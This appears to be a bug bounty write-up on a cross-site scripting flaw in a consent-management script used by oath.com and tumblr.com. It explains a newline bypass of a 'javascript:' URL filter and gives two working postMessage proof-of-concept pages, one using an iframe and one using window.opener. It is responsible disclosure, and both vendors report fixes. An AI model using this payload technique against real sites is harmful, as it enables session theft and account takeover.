Summary:
During my research on other bug bounty program I’ve found Cross-Site Scripting vulnerability in cmp3p.js file, which allows attacker to execute arbitrary javascript code in context of domain that include mentioned script.
Below you can find the way of finding bug bounty vulnerabilities from the beginning to the end, which includes:
- In depth analysis of vulnerability,
- Proof of Concept for consent.cmp.oath.com domain,
- Proof of Concept for tumblr.com.
To describe the impact of this research, it is worth to mention that described research should also works for any other host that includes cmp3p.js file.
Browser’s Cross-Origin Communication:
To better understand this vulnerability it’s worth mentioning some mechanism that browsers implement to communicate between origins. One of them is postMessage. If site A have an <iframe> pointing to site B in its source, we can get access to DOM tree of site B from the site A. Because of Same-Origin Policy, to have full access both site A and B must be in same origin. Otherwise, to communicate one of sites need to add onmessage even listener, and second site can send events with data, which will be processed by function defined in listener. For example:
Site A:
1 2 3 4 5 |
<script> window.addEventListener("message", function(e) { alert(e.data.toString()); }); </script> |
Site B:
1 2 3 4 |
<script> window.parent.postMessage("Hello world.", "*"); </script> |
Above mechanism works not only over frames and pop-ups, but also between two tabs. For example if site A have hyperlink to site B, which gonna be clicked – page containing hyperlink can be accessed from new opened tab by window.opener.
Analysis:
During my research I’ve decided to take a look on main tumblr.com page, the plan was to discover if it handles any postMessages. I’ve find out that there’s interesting function in cmpStub.min.js file, that doesn’t check the origin of postMessage. In obfuscated form, it looks as following:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
!function() { var e = !1; function t(e) { var t = "string" == typeof e.data , n = e.data; if (t) try { n = JSON.parse(e.data) } catch (e) {} if (n && n.__cmpCall) { var r = n.__cmpCall; window.__cmp(r.command, r.parameter, function(n, o) { var a = { __cmpReturn: { returnValue: n, success: o, callId: r.callId } }; e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*") }) } } |
Basing on the above part of code, it is worth to notice that:
- It takes event data parameter (as JSON string),
- than parses it using JSON.parse() function,
- than create javascript object n containing attribute cmpCall (which is object).
Mentioned cmpCall object contains fields called command and parameter which are both based to window.__cmp() function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
if (e) return { init: function(e) { if (!l.a.isInitialized()) if ((p = e || {}).uiCustomParams = p.uiCustomParams || {}, p.uiUrl || p.organizationId) if (c.a.isSafeUrl(p.uiUrl)) { p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0), g.setGdpr("S"), g.setPublisherId(p.organizationId)), (t = p.sharedConsentDomain) && r.a.init(t), s.a.setCookieDomain(p.cookieDomain); var n = s.a.getGdprApplies(); !0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"), h(function(e) { e ? l.a.initializationComplete() : b(l.a.initializationComplete) }, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) { n || (e = !0), s.a.setIsUserInEU(e), e ? (g.setGdpr("L"), h(function(e) { e ? l.a.initializationComplete() : b(l.a.initializationComplete) }, !0)) : l.a.initializationComplete() }) } else c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http[s]://example.com/path/to/cmpui.html"'); // (...) |
Although this code is obfuscated, it’s analysis could be problematic, so I will focus on two most important lines:
1 2 3 |
{code} if (c.a.isSafeUrl(p.uiUrl)) { {code} |
After checking isSafeUrl definition, we can notice that it checks if URL provided in parameters object (this could be controlled by attacker) is safe:
1 2 3 4 |
isSafeUrl: function(e) { return -1 === (e = (e || "").replace(" ", "")).toLowerCase().indexOf("javascript:") }, |
If URL provided as function parameter contain javascript: string at beginning it should be treated as unsafe and return -1 (and stop futher execution).
Second interesting line is:
1 |
e ? l.a.initializationComplete() : b(l.a.initializationComplete) |
Let’s take a look on b() function definition:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
b = function(e) { g.markConsentRenderStartTime(); var n = p.uiUrl ? i.a : a.a; l.a.isInitialized() ? l.a.getConsentString(function(t, o) { p.consentString = t, n.renderConsents(p, function(n, t) { g.setType("C").setGdprConsent(n).fire(), w(n), "function" == typeof e && e(n, t) }) }) : n.renderConsents(p, function(n, t) { g.setType("C").setGdprConsent(n).fire(), w(n), "function" == typeof e && e(n, t) }) |
As before – obfuscated, hard to read – but really interesting part here which gonna bring us to the point of this vulnerability is renderConsents() function. Definition:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
renderConsents: function(n, p) { if ((t = n || {}).siteDomain = window.location.origin, r = t.uiUrl) { if (p && u.push(p), !document.getElementById("cmp-container-id")) { (i = document.createElement("div")).id = "cmp-container-id", i.style.position = "fixed", i.style.background = "rgba(0,0,0,.5)", i.style.top = 0, i.style.right = 0, i.style.bottom = 0, i.style.left = 0, i.style.zIndex = 1e4, document.body.appendChild(i), (a = document.createElement("iframe")).style.position = "fixed", a.src = r, a.id = "cmp-ui-iframe", a.width = 0, a.height = 0, a.style.display = "block", a.style.border = 0, i.style.zIndex = 10001, l(), |
As you can see – renderConsents() is finally interesting element from security perspective, because it creates iframe element with src attribute controlled by attacker, that can be controlled by attacker. We can easy execute Javascript code using <iframe> element by providing code as URI (in src attribute) – by using special URI schema / protocol – javascript. By using <iframe src=”javascript:alert(1)”></iframe> browser simply gonna execute alert(1) Javascript code. That was the reason why isSafeUrl() function was previously executed. So how we can still pass URL containing javascript schema at beginning?
It’s good to know that we can still use whitespace characters in schema part of URL, which gonna be ignored by browser. That brings us really simple bypass for isSafeUrl(), consists on provinding URL parameter with newline inside:
1 2 3 4 5 6 7 8 9 |
> url = "javascript:alert(document.domain);" "javascript:alert(document.domain);" > isSafeUrl(url) false > url="ja\nvascript:alert(document.domain);" "ja vascript:alert(document.domain);" > isSafeUrl(url) true |
After this step, by constructing postMessage with this JSON, it would be possible to execute javascript code:
1 2 3 4 5 6 7 8 9 10 11 |
{ "__cmpCall": { "command": "init", "parameter": { "uiUrl": "ja\nvascript:alert(document.domain)", "uiCustomParams": "fdsfds", "organizationId": "siabada", "gdprAppliesGlobally": "fdfdsfds" } } } |
To pass this message into vulnerable page we also need to have a link to its window object, which can be easily achieved by putting vulnerable page into iframe. When we sum up all described steps, final Proof of Concept would look following:
1 2 3 4 5 6 7 8 9 10 |
<html><body> <script> window.setInterval(function(e) { try { window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*"); } catch(e) {} }, 100); </script> <iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe> |
As far as page doesn’t contain X-Frame-Options header, it doesn’t require any additional user interaction, visiting malicious website is sufficient. In case when application implement X-Frame-Options header this exploit won’t allow attacker to frame target page. Whole attack will require to create connection between two browser tabs to pass postMessages through window.opener, which is also pretty simple:
- Create a page containing hyperlink to itself.
- Execute window.opener.postMessage() function with payload in loop.
- After clicking a link – new tab opens (we have window.opener connection between tabs)
- Redirect first page to target straight after clicking a link (onclick event)
- Profit.
That was situation with tumblr.com page, which also contained vulnerable cmp.js code, but page itself wasn’t framable because of X-Frame-Options header. So the Tumblr exploit code looks like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<html><body> <script> function e() { window.setTimeout(function() { window.location.href="https://www.tumblr.com/embed/post/"; }, 500); } window.setInterval(function(e) { try { window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*"); } catch(e) {} }, 100); </script> <a onclick="e()" href="/tumblr.html" target=_blank>Click me</a> |
Impact:
Attacker that can execute arbitrary javascript code in context of vulnerable target is able to abuse it in multiple ways such as:
- Steal sensitive user’s data (personal data, messages, etc),
- steal CSRF tokens and perform malicious actions on behalf of user,
- steal account credentials and takeover user’s account,
- …and many others.
Timeline:
07/10/2019 – Found vulnerability and reported it parallelly to Verizon Media and Tumblr
07/10/2019 – Triaged and fixed by Tumblr
08/10/2019 – Fixed by Verizon Media
09/10/2019 – Tumblr rewarded me with $500 bounty
26/10/2019 – Verizon Media rewarded me with $500 bounty